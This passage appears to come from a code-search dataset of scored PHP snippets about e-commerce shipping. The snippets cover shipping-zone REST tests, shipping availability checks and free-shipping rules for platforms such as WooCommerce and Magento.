$this->origin_country != 'ZA' ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// Can only ship to South African customers\n\t\tif ( WC()->customer->get_shipping_country() != 'ZA' ) {\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "47ff29bbc94a0706e351913ea412bc88", "score": "0.5304755", "text": "function theme_wc_after_checkout_form() {\n\tglobal $woocommerce;\n\n\t$chosen_methods = WC()->session->get( 'chosen_shipping_methods' );\n\n\t$chosen_shipping_no_ajax = $chosen_methods[0];\n\n\tif ( strpos( $chosen_shipping_no_ajax, 'local_pickup' ) === 0 ) { ?>\n\t\t<script type=\"text/javascript\">jQuery('#customer_details .col-shipping').fadeOut();</script>\n\t\t<?php\n\t}\n}", "title": "" }, { "docid": "116f6fb9ef7e435dfa3570121400bad9", "score": "0.5303856", "text": "public function test_get_methods() {\n\t\t// Create a shipping method and make sure it's in the response\n\t\t$zone = $this->create_shipping_zone( 'Zone 1' );\n\t\t$instance_id = $zone->add_shipping_method( 'flat_rate' );\n\t\t$methods = $zone->get_shipping_methods();\n\t\t$method = $methods[ $instance_id ];\n\n\t\t$settings = array();\n\t\t$method->init_instance_settings();\n\t\tforeach ( $method->get_instance_form_fields() as $id => $field ) {\n\t\t\t$data = array(\n\t\t\t\t'id' => $id,\n\t\t\t\t'label' => $field['title'],\n\t\t\t\t'description' => ( empty( $field['description'] ) ? '' : $field['description'] ),\n\t\t\t\t'type' => $field['type'],\n\t\t\t\t'value' => $method->instance_settings[ $id ],\n\t\t\t\t'default' => ( empty( $field['default'] ) ? '' : $field['default'] ),\n\t\t\t\t'tip' => ( empty( $field['description'] ) ? '' : $field['description'] ),\n\t\t\t\t'placeholder' => ( empty( $field['placeholder'] ) ? '' : $field['placeholder'] ),\n\t\t\t);\n\t\t\tif ( ! empty( $field['options'] ) ) {\n\t\t\t\t$data['options'] = $field['options'];\n\t\t\t}\n\t\t\t$settings[ $id ] = $data;\n\t\t}\n\n\t\t$response = $this->server->dispatch( new WP_REST_Request( 'GET', '/wc/v4/shipping/zones/' . $zone->get_id() . '/methods' ) );\n\t\t$data = $response->get_data();\n\t\t$expected = array(\n\t\t\t'id' => $instance_id,\n\t\t\t'instance_id' => $instance_id,\n\t\t\t'title' => $method->instance_settings['title'],\n\t\t\t'order' => $method->method_order,\n\t\t\t'enabled' => ( 'yes' === $method->enabled ),\n\t\t\t'method_id' => $method->id,\n\t\t\t'method_title' => $method->method_title,\n\t\t\t'method_description' => $method->method_description,\n\t\t\t'settings' => $settings,\n\t\t\t'_links' => array(\n\t\t\t\t'self' => array(\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $zone->get_id() . '/methods/' . $instance_id ),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t\t'collection' => array(\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $zone->get_id() . '/methods' ),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t\t'describes' => array(\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $zone->get_id() ),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t),\n\t\t);\n\n\t\t$this->assertEquals( 200, $response->get_status() );\n\t\t$this->assertEquals( count( $data ), 1 );\n\t\t$this->assertContains( $expected, $data );\n\n\t\t$response = $this->server->dispatch( new WP_REST_Request( 'GET', '/wc/v4/shipping/zones/' . $zone->get_id() . '/methods/' . $instance_id ) );\n\t\t$data = $response->get_data();\n\n\t\t$this->assertEquals( 200, $response->get_status() );\n\t\t$this->assertEquals( $expected, $data );\n\t}", "title": "" }, { "docid": "07584bcef404692aaa92e158069c6325", "score": "0.5277602", "text": "public function test_GetAddresses_Sweden_Private_isDisabled() {\n $config = Svea\\SveaConfig::getDefaultConfig();\n $addressRequest = WebPay::getAddresses($config);\n $request = $addressRequest\n ->setOrderTypeInvoice()\n ->setCountryCode(\"SE\")\n ->setIndividual(\"194605092222\")\n ->doRequest();\n\n $this->assertEquals(1, $request->accepted);\n $this->assertEquals('Accepted', $request->resultcode);\n }", "title": "" }, { "docid": "dc3c52f6d849b8788c32d7373be6c3f9", "score": "0.5259211", "text": "public function testWithDisabledPlugin()\n {\n $carrierRepository = $this->getBuiltCarrierRepository(\n true,\n 500,\n 1200,\n 700\n );\n\n $event = $this->getEvent();\n $event\n ->addShippingMethod(\\Prophecy\\Argument::exact(\n new ShippingMethod(\n 'custom-shipping-method-price-shipping-range-id',\n 'test-carrier',\n 'price-shipping-range-name',\n '',\n Money::create(\n 700,\n $this->getCurrency()\n )\n )\n ))\n ->shouldBeCalledTimes(0);\n\n $event\n ->getCart()\n ->willReturn(\n $this\n ->getCart()\n ->reveal()\n );\n\n $shippingCollectEventListener = new ShippingCollectEventListener(\n $this->getDisabledPlugin()->reveal(),\n $carrierRepository->reveal(),\n $this->getCurrencyConverter(1)->reveal(),\n $this->getZoneMatcher()->reveal()\n );\n $shippingCollectEventListener->addCustomShippingMethods($event->reveal());\n }", "title": "" }, { "docid": "468ba88ed9243768c6625c4033a89544", "score": "0.5256556", "text": "public function isSitewideFreeShipping()\n {\n return $this->_sitewideFreeShipping;\n }", "title": "" }, { "docid": "272fc324fb8d54f7441542f0b101139e", "score": "0.52496034", "text": "public function test_delete_shipping_zone_invalid_id() {\n\t\t$request = new WP_REST_Request( 'DELETE', '/wc/v4/shipping/zones/555555' );\n\t\t$response = $this->server->dispatch( $request );\n\t\t$this->assertEquals( 404, $response->get_status() );\n\t}", "title": "" }, { "docid": "3657512157412c7734a1b56f78504d9e", "score": "0.5225448", "text": "public function test_update_locations() {\n\t\t$zone = $this->create_shipping_zone( 'Test Zone' );\n\n\t\t$request = new WP_REST_Request( 'PUT', '/wc/v4/shipping/zones/' . $zone->get_id() . '/locations' );\n\t\t$request->add_header( 'Content-Type', 'application/json' );\n\t\t$request->set_body(\n\t\t\tjson_encode(\n\t\t\t\tarray(\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'code' => 'UK',\n\t\t\t\t\t\t'type' => 'country',\n\t\t\t\t\t),\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'code' => 'US', // test that locations missing \"type\" treated as country.\n\t\t\t\t\t),\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'code' => 'SW1A0AA',\n\t\t\t\t\t\t'type' => 'postcode',\n\t\t\t\t\t),\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'type' => 'continent', // test that locations missing \"code\" aren't saved\n\t\t\t\t\t),\n\t\t\t\t)\n\t\t\t)\n\t\t);\n\t\t$response = $this->server->dispatch( $request );\n\t\t$data = $response->get_data();\n\n\t\t$this->assertEquals( 3, count( $data ) );\n\t\t$this->assertEquals(\n\t\t\tarray(\n\t\t\t\tarray(\n\t\t\t\t\t'code' => 'UK',\n\t\t\t\t\t'type' => 'country',\n\t\t\t\t\t'_links' => array(\n\t\t\t\t\t\t'collection' => array(\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $zone->get_id() . '/locations' ),\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t),\n\t\t\t\t\t\t'describes' => array(\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $zone->get_id() ),\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'code' => 'US',\n\t\t\t\t\t'type' => 'country',\n\t\t\t\t\t'_links' => array(\n\t\t\t\t\t\t'collection' => array(\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $zone->get_id() . '/locations' ),\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t),\n\t\t\t\t\t\t'describes' => array(\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $zone->get_id() ),\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'code' => 'SW1A0AA',\n\t\t\t\t\t'type' => 'postcode',\n\t\t\t\t\t'_links' => array(\n\t\t\t\t\t\t'collection' => array(\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $zone->get_id() . '/locations' ),\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t),\n\t\t\t\t\t\t'describes' => array(\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $zone->get_id() ),\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t),\n\t\t\t$data\n\t\t);\n\t}", "title": "" }, { "docid": "808d8151e049fe684fe3e8a29b047ced", "score": "0.5220701", "text": "public static function get_all_shipping_zone_ids() {\n\t\t$all_zones = \\WC_Shipping_Zones::get_zones();\n\t\t$zone_ids = Php55::arrayColumn( $all_zones, 'zone_id' );\n\t\t// Locations not covered by other zones.\n\t\tif ( ! in_array( 0, $zone_ids, true ) ) {\n\t\t\t$zone_ids[] = 0;\n\t\t}\n\n\t\treturn $zone_ids;\n\t}", "title": "" }, { "docid": "30e12af0535633f46940b26fc8bbe14e", "score": "0.52195287", "text": "protected function isShippingDifferent()\n {\n // exclude certain keys that are always different\n $excludeKeys = array(\n 'entity_id', 'customer_address_id', 'quote_address_id',\n 'region_id', 'customer_id', 'address_type'\n );\n\n //get both the order-addresses\n $oBillingAddress = $this->_order->getBillingAddress()->getData();\n $oShippingAddress = $this->_order->getShippingAddress()->getData();\n\n //remove the keys with corresponding values from both the addressess\n $oBillingAddressFiltered = array_diff_key($oBillingAddress, array_flip($excludeKeys));\n $oShippingAddressFiltered = array_diff_key($oShippingAddress, array_flip($excludeKeys));\n\n //differentiate the addressess, when some data is different an array with changes will be returned\n $addressDiff = array_diff($oBillingAddressFiltered, $oShippingAddressFiltered);\n\n if (!empty($addressDiff)) { // billing and shipping addresses are different\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "56c8cbdf8cf29e1d49d7286ab656e63c", "score": "0.5217724", "text": "public function getAvailableZones()\n {\n return $this->available_zones;\n }", "title": "" }, { "docid": "f433e8ad5ab6d97943e62df4b8202ead", "score": "0.52101105", "text": "public function shipAvailable(): bool\n {\n return $this->currentState()->shipAvailable();\n }", "title": "" }, { "docid": "e7163d2068220b8e3ccaa1f68544207c", "score": "0.5206995", "text": "private static function is_feature_enabled() {\n\t\t// Checkout signup is feature gated to WooCommerce 4.7 and newer;\n\t\t// uses updated my-account/lost-password screen from 4.7+ for\n\t\t// setting initial password.\n\t\t// This service is feature gated to plugin only, to match the\n\t\t// availability of the Checkout block (feature plugin only).\n\t\treturn Package::is_feature_plugin_build() && defined( 'WC_VERSION' ) && version_compare( WC_VERSION, '4.7', '>=' );\n\t}", "title": "" }, { "docid": "304102bdf80d6a28ef567e1da3e2dbf5", "score": "0.5206261", "text": "public function canShip()\n {\n $order = $this->getOrder();\n if ($this->canUnhold() || $order->isPaymentReview()) {\n return false;\n }\n \n if ($order->getIsVirtual() || $order->isCanceled()) {\n return false;\n }\n \n foreach ($this->getAllItems() as $item) {\n if ($item->getQtyToShip() > 0 && !$item->getIsVirtual() && !$item->getLockedDoShip()) {\n return true;\n }\n }\n return false;\n }", "title": "" }, { "docid": "2122cd26bafc892a5960b7d311f47631", "score": "0.52001894", "text": "public function getShippingCanceled();", "title": "" }, { "docid": "737f7b087961008ee9c4f6f5a93f46a0", "score": "0.51997876", "text": "protected function allowSubscriptionShippingMethod()\n {\n // Check if extension enabled\n if (Mage::getStoreConfig('autoship_general/general/enabled', $this->getQuote()->getStore()) != '1') {\n return true;\n }\n // Check if New Sub page disabled\n if (Mage::getStoreConfig('autoship_subscription/subscription/use_new_subscription_page', $this->getQuote()->getStore()) != '1') {\n return true;\n }\n // Check shipping_method_onetime_enabled setting\n if (Mage::getStoreConfig('autoship_subscription/subscription/shipping_method_onetime_enabled', $this->getQuote()->getStore()) == '1') {\n return true;\n }\n // Check if admin store is set as current store\n if (Mage::app()->getStore()->isAdmin()) {\n return true;\n }\n // Check if admin theme area is in effect\n if (Mage::getDesign()->getArea() == 'adminhtml') {\n return true;\n }\n // Check if API call session is active\n if (Mage::getModel('api/session')->isLoggedIn()) {\n return true;\n }\n // Now we know we're on the frontend, but if we're on the new subscriptions page, we need to allow the shipping method\n // Allow use of shipping method from new subscription controller\n if (Mage::app()->getRequest()->getControllerName() == 'newsubscription') {\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "88e625c5fc3e8d9bb759a0c1f2ce54f4", "score": "0.51863927", "text": "function register_ia_shipped_order_status()\n {\n register_post_status('wc-ia-shipped', array(\n 'label' => 'Shipped',\n 'public' => true,\n 'exclude_from_search' => false,\n 'show_in_admin_all_list' => true,\n 'show_in_admin_status_list' => true,\n 'label_count' => _n_noop('Shipped (%s)', 'Shipped (%s)')\n ));\n }", "title": "" }, { "docid": "07c382c2902e41a1caf0b0b246be0eb4", "score": "0.5176865", "text": "public function update_status() {\n global $order, $db;\n\n // If payment is enabled and is restricted to one geozone (country + zone)\n if ($this->enabled && (int)MODULE_PAYMENT_ALMA_ZONE > 0 ) {\n $check_flag = FALSE;\n $checks = $db->Execute( \"select zone_id from \" . TABLE_ZONES_TO_GEO_ZONES . \" where geo_zone_id = '\" . MODULE_PAYMENT_ALMA_ZONE . \"' and zone_country_id = '\" . $order->billing['country']['id'] . \"' order by zone_id\" );\n\n foreach ($checks as $check) {\n // If zone_id is null, payment is available for all zones.\n if ($check['zone_id'] == NULL) {\n $check_flag = TRUE;\n break;\n }\n\n // If State/Province of customer is the payment zone.\n if ($check['zone_id'] == $order->billing['zone_id']) {\n $check_flag = TRUE;\n break;\n }\n }\n\n if ($check_flag == FALSE) {\n $this->enabled = FALSE;\n }\n }\n\n $this->checkEligibility();\n }", "title": "" }, { "docid": "2d2c103939671a8f275994b8d5574aad", "score": "0.517016", "text": "public function is_enabled() {\n\t\treturn defined('WP_PROXY_HOST') && defined('WP_PROXY_PORT');\n\t}", "title": "" }, { "docid": "1c1d650ffd8888f9d1d3710ff9177f11", "score": "0.51642615", "text": "public function testDeliveryNoModeFailk()\n {\n $user = User::factory()->create();\n\n $this->artisan('passport:install');\n\n Passport::actingAs(\n $user,\n ['create-servers']\n );\n\n $order = Order::factory()->create([\n 'user_id' => $user->id,\n 'status' => 'SELECTED'\n ]);\n\n $response = $this->put('/api/v1/order/' . $order->id . '/delivery', [\n 'details' => 'not_null_details',\n ], [\n 'Accept' => 'application/json',\n ]);\n\n $response->assertStatus(422);\n }", "title": "" }, { "docid": "1d46da69053c80eeaa7e3b7a96340b90", "score": "0.51641595", "text": "function should_enable_wpdesk_tracker() {\n\t\t$tracker_enabled = true;\n\t\tif ( ! empty( $_SERVER['SERVER_ADDR'] ) && $_SERVER['SERVER_ADDR'] == '127.0.0.1' ) {\n\t\t\t$tracker_enabled = false;\n\t\t}\n\t\treturn apply_filters( 'wpdesk_tracker_enabled', $tracker_enabled );\n\t}", "title": "" }, { "docid": "2292882f9fd6a439a2865204816656d5", "score": "0.5159035", "text": "public function hasShipments()\n {\n return 0 < $this->shipments->count();\n }", "title": "" }, { "docid": "38f3a4568b20390bfe7fead2987bb6e8", "score": "0.51581514", "text": "public function getShippingZonesPart()\n {\n $auth = \\XLite\\Core\\Auth::getInstance();\n\n if (!$auth->isLogged()) {\n return null;\n }\n\n $zones = [];\n\n $profile = $auth->getProfile();\n\n $repo = \\XLite\\Core\\Database::getRepo('XLite\\Model\\Zone');\n $address = $profile->getShippingAddress()\n ? $profile->getShippingAddress()->toArray()\n : null;\n\n if ($address) {\n foreach ($repo->findApplicableZones($address) as $zone) {\n $zones[] = $zone->getZoneId();\n }\n }\n\n return implode(',', $zones);\n }", "title": "" }, { "docid": "d3161bd22c8e2b6d81f0f87e9a680d09", "score": "0.5156628", "text": "public function checkChangeShippingButton()\n {\n return $this->_rootElement->find($this->changeShipping)->isVisible();\n }", "title": "" }, { "docid": "e7c43e14b92447f1bafbfafd4609fb98", "score": "0.5145484", "text": "public function addCanShipFilter()\n {\n $orderItemTable = $this->getTable('sales_order_item');\n $pickupLocationTable = $this->getTable(SetupSchema::TABLE_ORDER_PICKUP_LOCATION);\n\n $select = $this->getSelect();\n $select->join(\n ['order_item' => $orderItemTable],\n 'main_table.entity_id = order_item.order_id',\n []\n );\n $select->joinLeft(\n ['pickup_location' => $pickupLocationTable],\n 'main_table.shipping_address_id = pickup_location.recipient_address_id',\n []\n );\n\n $this->addFieldToFilter(sprintf('main_table.%s', OrderInterface::IS_VIRTUAL), 0);\n $this->addFieldToFilter(OrderInterface::STATE, ['nin' => [\n \\Magento\\Sales\\Model\\Order::STATE_HOLDED,\n \\Magento\\Sales\\Model\\Order::STATE_PAYMENT_REVIEW,\n \\Magento\\Sales\\Model\\Order::STATE_CANCELED,\n ]]);\n\n $this->addExpressionFieldToSelect(\n 'qty_to_ship',\n 'FLOOR(SUM({{qty_ordered}}) - SUM({{qty_shipped}}))',\n [\n 'qty_ordered' => 'order_item.qty_ordered',\n 'qty_shipped' => 'order_item.qty_shipped',\n ]\n );\n $this->addExpressionFieldToSelect(\n 'locked',\n 'SUM(COALESCE(locked_do_ship, 0))',\n [\n 'qty_ordered' => 'order_item.qty_ordered',\n 'qty_shipped' => 'order_item.qty_shipped',\n ]\n );\n\n $select->group(['main_table.entity_id']);\n $select->having('qty_to_ship > 0 AND locked = 0');\n $select->where('pickup_location.pickup_location_id IS NULL');\n }", "title": "" }, { "docid": "1fec94e2d054c0fe6fd2dccefbff04ca", "score": "0.51288044", "text": "public function hasTimezone(): bool;", "title": "" }, { "docid": "69a9b6226ecc8407b7147e4a9eb28aef", "score": "0.512589", "text": "public static function isShadow() {\n return (getenv('WP_ENVIRONMENT') && getenv('WP_ENVIRONMENT') == 'shadow');\n }", "title": "" }, { "docid": "516b6af0942fb9fa69537d5faac72b6e", "score": "0.51043093", "text": "protected function fetchShippingMethods()\r\n {\r\n $methods = array(); \r\n \r\n $settings = \\Shop\\Models\\Settings::fetch();\r\n \r\n if ($enabledMethods = $settings->enabledShippingMethods())\r\n {\t\r\n \t//$enabledMethods are a class e.g \\Shop\\Shipping\\Ups instance\r\n \tforeach($enabledMethods as $method) {\r\n \t\tif($method->validForCart($this)) {\r\n \t\t\t$methods[] = $method;\r\n \t\t}\r\n \t}\r\n \t\t\r\n }\r\n \r\n $event = \\Dsc\\System::instance()->trigger( 'onFetchShippingMethodsForCart', array(\r\n 'cart' => $this,\r\n 'methods' => $methods\r\n ) );\r\n \r\n return $event->getArgument('methods');\r\n }", "title": "" }, { "docid": "817e4d097d44d6ec7611e4d84b8cb466", "score": "0.50974864", "text": "function check_currency() {\n\n\t\tif( apply_filters( 'woocommerce_wumdrop_hide_notices', false ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( 'ZAR' != get_option( 'woocommerce_currency' ) && 'yes' == $this->enabled ) {\n\t\t\techo '<div class=\"error\"><p>' . sprintf(__('WumDrop is enabled, but the <a href=\"%s\">currency</a> is not South African Rand (ZAR) - WumDrop only supports ZAR.', 'woocommerce-wumdrop'), admin_url( 'admin.php?page=wc-settings&tab=general' ) ) . '</p></div>';\n\t\t}\n\n\t\tif ( ( 'ZA' != $this->origin_country || ( 'ZA' == $this->origin_country && ! in_array( $this->origin_province, array( 'WC', 'GP' ) ) ) ) && 'yes' == $this->enabled ) {\n\t\t\techo '<div class=\"error\"><p>' . sprintf(__('WumDrop is enabled, but your <a href=\"%s\">base location</a> is not Gauteng or the Western Cape.', 'woocommerce-wumdrop'), admin_url( 'admin.php?page=wc-settings&tab=general' ) ) . '</p></div>';\n\t\t}\n\n\t}", "title": "" }, { "docid": "7772c55ecc4584383023ede931f13136", "score": "0.5094108", "text": "function moments_qodef_is_woocommerce_installed() {\n\t\treturn function_exists( 'is_woocommerce' );\n\t}", "title": "" }, { "docid": "34d79c25dd92067ecb872ce6abe4ed9b", "score": "0.50907123", "text": "function gateway_available_and_enabled() {\n\t\t$is_available = false;\n\t\t$user_currency = get_option( 'woocommerce_currency' );\n\n\t\t$is_available_currency = in_array( $user_currency, $this->available_currencies );\n\n\t\tif ( $is_available_currency && $this->enabled == 'yes' && $this->settings['merchant_api_key'] != '' &&\n\t\t $this->settings['merchant_callback_token'] != '' && $this->settings['snapcode'] != ''\n\t\t) {\n\t\t\t$is_available = true;\n\t\t}\n\n\t\treturn $is_available;\n\t}", "title": "" }, { "docid": "3ecc6d18d8e2096c7c11880eb19401aa", "score": "0.50866854", "text": "public function hasShippingInformation () {\n\t\treturn $this->getBillingContact() && $this->getBillingContact()->getEmail();\n\t}", "title": "" }, { "docid": "04fe564de3a208f8f7e791f6d4e5cc14", "score": "0.50610596", "text": "public function listEnabledShippingServices(Shop_ShippingOption $shippingOption){\n return $this->list_enabled_options($shippingOption);\n }", "title": "" }, { "docid": "dfc06827bca5cb96d37d324ce68a22b5", "score": "0.50533277", "text": "public function shippingRequired()\r\n {\r\n $shipping_required = (int) \\Shop\\Models\\Settings::fetch()->{'shipping.required'};\r\n \r\n if (empty($this->items)) {\r\n return $shipping_required;\r\n }\r\n \r\n foreach ($this->items as $item)\r\n {\r\n if (\\Dsc\\ArrayHelper::get($item, 'product.shipping.enabled')) \r\n {\r\n $shipping_required = true;\r\n }\r\n }\r\n \r\n return $shipping_required;\r\n }", "title": "" }, { "docid": "7f7154b7984d8dee4c7f51d9512d1caf", "score": "0.5050098", "text": "private function checkZones($raw)\n {\n $this->ethm->log(\"info\", \"Checking zones.\");\n\n $violated = array();\n\n // FIXME: this checks for 16*2=32 zones; number of zones varies with different Integra models\n for ($i = 0; $i < 16; $i++) {\n for ($b = 0; $b < 2; $b++) {\n if (pow(2, $b) & hexdec(bin2hex($raw[$i+3]))) { // 0xFE 0xFE 0x00 ..\n $number = 8 * $i + $b + 1;\n // TODO: self::PARTITION, self::OUTPUT, etc.\n $violated[$number] = $this->ethm->send(\"EE\" . self::ZONEX . sprintf(\"%02s\", dechex($number)));\n }\n }\n }\n\n return $violated;\n }", "title": "" }, { "docid": "353624677b286bd794b9a4b9a7207230", "score": "0.50466126", "text": "public function test_update_shipping_zone_invalid_id() {\n\t\t$request = new WP_REST_Request( 'PUT', '/wc/v4/shipping/zones/555555' );\n\t\t$request->set_body_params(\n\t\t\tarray(\n\t\t\t\t'name' => 'Zone Test',\n\t\t\t\t'order' => 2,\n\t\t\t)\n\t\t);\n\t\t$response = $this->server->dispatch( $request );\n\n\t\t$this->assertEquals( 404, $response->get_status() );\n\t}", "title": "" }, { "docid": "2d493331e58697d1c36d2824f4cc47ba", "score": "0.5044319", "text": "public function test_get_locations_invalid_id() {\n\t\t$response = $this->server->dispatch( new WP_REST_Request( 'GET', '/wc/v4/shipping/zones/1/locations' ) );\n\n\t\t$this->assertEquals( 404, $response->get_status() );\n\t}", "title": "" }, { "docid": "1b98e843b408fca78cf546f2697b8aa1", "score": "0.5040996", "text": "function isCatalogShippingVisible() {\n\t\t\treturn (( $this->isCatalogInformationVisible( ) && Mage::getStoreConfigFlag( XML_PATH_CATALOG_DISPLAY_SHIPPING ) ) ? true : false);\n\t\t}", "title": "" }, { "docid": "4a692aa5db685e1c3283b6101b12b4fe", "score": "0.50398225", "text": "public function isFreeShipping()\n {\n // If sitewide free shipping is on, it's just free\n if ($this->_sitewideFreeShipping) {\n return true;\n\n // Otherwise, check other conditions.\n } else {\n \n // If a coupon has been set, check if it includes free shipping.\n if ($this->_coupon && $this->_coupon->getCouponFreeShipping() == 'true') {\n return true;\n }\n\n // The only current condition is that the order total is over $70\n return $this->_orderTotal >= $this->_cartTotalFreeShipping;\n }\n }", "title": "" }, { "docid": "d1431330eb2b48c118911c8c89fea0ab", "score": "0.50377107", "text": "protected function _assignFreeShipping(){\n //get delivery postcode\n $delivery_address = new Address($this->context->cart->id_address_delivery);\n //if no postcode setted\n if (!$delivery_address->postcode)\n $delivery_address->postcode = 75000; //set temporary postcode\n\n $id_zone = Address::getZoneByZipCode($delivery_address->postcode);\n $zone = new Zone($id_zone);\n\n if ($this->display_debug) $this->errors[] = \"Cart id #\".$this->context->cart->id; //Debug message\n //get total with taxes\n $total_wt = $this->context->cart->getTotalProductsPriceWithTax();\n\n //set freeShipping roof\n $free_shipping = $zone->free_shipping;\n\n //@TODO Manage free shipping according to Carrier free_shipping instead of Zone free_shipping\n //========================================================\n //Temporary solution (hard coding)\n //\n //Hard Code to manage \"livraison le soir\" and \"livraison express\" special cases:\n //\"livraison le soir\" is a jet carrier, but should be considered as Ecolo for prices\n //\"livraison express\" is a UPS carrier, but it has its own free shipping price\n //(different than Saver which use the normal free shipping for UPS zone\n //==========\n\n //get Ecolos free_shipping\n $ecolo_zone = new Zone(ID_ZONE_ECOLOTRANS);\n\n //set special free shipping case\n ////Used to show the good price for \"livraison le soir\" or \"Livraison Express\" (see order-carrier.tpl line 418)\n $special_case_free_shipping = false;\n if (($id_zone == ID_ZONE_JET && $total_wt >= $ecolo_zone->free_shipping) ||\n ($id_zone == ID_ZONE_UPS && $total_wt >= DELIVERY_FREE_SHIPPING_UPS_EXPRESS))\n $special_case_free_shipping = true;\n\n $this->context->smarty->assign(array(\n 'special_case_free_shipping' => $special_case_free_shipping //Used to show the good price for \"livraison le soir\" or \"Livraison Express\" (see order-carrier.tpl line 418)\n ));\n\n\n //for free shipping calculus reconsidere as zone Ecolo if \"livraison le soir\" selected\n $carrier = new Carrier($this->context->cart->id_carrier);\n\n if ($carrier->name == 'Livraison le soir'){\n if ($this->display_debug)\n $this->errors[] = \"Zone Jet, reconsidered as Ecolo for free shipping price: Livraison le soir\";\n $zone = $ecolo_zone;\n $free_shipping = $zone->free_shipping;\n }\n\n ////for free shipping calculus reconsidere as zone Ecolo if \"livraison le soir\" selected\n if ($carrier->name == 'Livraison Express'){\n if ($this->display_debug)\n $this->errors[] = \"Zone Ups, using constant var (in settings.inc) for free shipping price: Livraison Express\";\n $free_shipping = DELIVERY_FREE_SHIPPING_UPS_EXPRESS; //see config/settings.inc.php line 65\n }\n //=========================================================\n\n if ($total_wt >= $free_shipping || $this->context->cart->custom_relay > 0 ||\n $this->context->smarty->getTemplateVars('is_adjustment') == true){\n if ($this->display_debug) $this->errors[] = \"Free shipping\"; //Debug message\n //total product price > free shipping price OR ajustment cart\n\n //create and add a new FreeShipping rule\n $this->context->cart->addCustomFreeShippingRule();\n $this->context->smarty->assign(array(\n 'free_shipping' => true,\n ));\n }\n else{\n if ($this->display_debug) $this->errors[] = \" NOT Free shipping, delete free shipping if exist\"; //Debug message\n //Delete FreeShipping rule if found\n $this->context->cart->deleteCustomFreeShippingRule();\n $this->context->smarty->assign(array(\n 'free_shipping' => false,\n ));\n }\n }", "title": "" }, { "docid": "5786305937e02e7cb56efae484737754", "score": "0.50360954", "text": "public function available()\n {\n $zones = ShippingZone::where('available', 1)->orderBy('available', 'desc')->orderBy('title')->get();\n\n return response()->json(['status' => 'success', 'data' => $zones]);\n }", "title": "" }, { "docid": "321c310fadd3a0184d9cd05a10530281", "score": "0.5035637", "text": "public function isZipCodeRequired()\n {\n return (bool)Mage::getStoreConfig('carriers/temando/active') || parent::isZipCodeRequired();\n }", "title": "" }, { "docid": "8d15c298b560d0169f9cefe2c071770c", "score": "0.50347745", "text": "public function testShippingFields()\n {\n $factory = new GatewayFieldsFactory(\n null,\n ['Shipping']\n );\n\n $fields = $factory->getFields();\n\n $this->assertEquals($this->shippingFields, array_keys($fields->dataFields()));\n\n $this->assertEquals($this->shippingFields, array_keys($this->factory->getShippingFields()->dataFields()));\n }", "title": "" }, { "docid": "f7182c74d94e50e6ac718570b888c373", "score": "0.50309056", "text": "function in_special_checkout() {\n if ((defined('MODULE_PAYMENT_PAYPALWPP_STATUS') && MODULE_PAYMENT_PAYPALWPP_STATUS == 'True') &&\n !empty($_SESSION['paypal_ec_token']) &&\n !empty($_SESSION['paypal_ec_payer_id']) &&\n !empty($_SESSION['paypal_ec_payer_info'])) {\n $this->flagDisablePaymentAddressChange = true;\n return true;\n }\n }", "title": "" }, { "docid": "55d2d86dac62b7a6d6bf3667edc5edd2", "score": "0.50295484", "text": "public function attachableTo(ShippingProfile $shippingProfile): bool {\n foreach ($shippingProfile->zones as $zone) {\n if ($zone->countries->contains('slug', $this->slug)) {\n return false; // Ups. This country is already attached to this shipping profile\n }\n }\n return true; // Not attached to this shipping profile, so you can attach it if you want.\n }", "title": "" }, { "docid": "a77abd05a1b2008dbf1f0d2b125cf489", "score": "0.50279164", "text": "public function checkChangeAddressAbility()\n {\n $this->waitLoader();\n if ($this->checkChangeShippingButton()) {\n $this->clickChangeShippingButton();\n $this->waitLoader();\n return !$this->checkShippingNotification();\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "7bc5a444a395ea9c26cdb2cccceb9fae", "score": "0.50144506", "text": "public function maybe_disable_checkout(){\n\n //get_option gets data out of the WP options table\n\n $disable_checkout_sundays = get_option('wc_settings_closed_sundays') == 'yes' ? true : false;\n\n $disable_checkout_maintenance = get_option('wc_settings_closed_maintenace') == 'yes' ? true : false;\n\n $disable_checkout_employee_sick = get_option('wc_settings_closed_sick') == 'yes' ? true : false;\n\n // check if the setting is checked and it's saturday\n // TODO actually check that it's saturday\n\n // https://docs.woocommerce.com/document/conditional-tags/\n\n 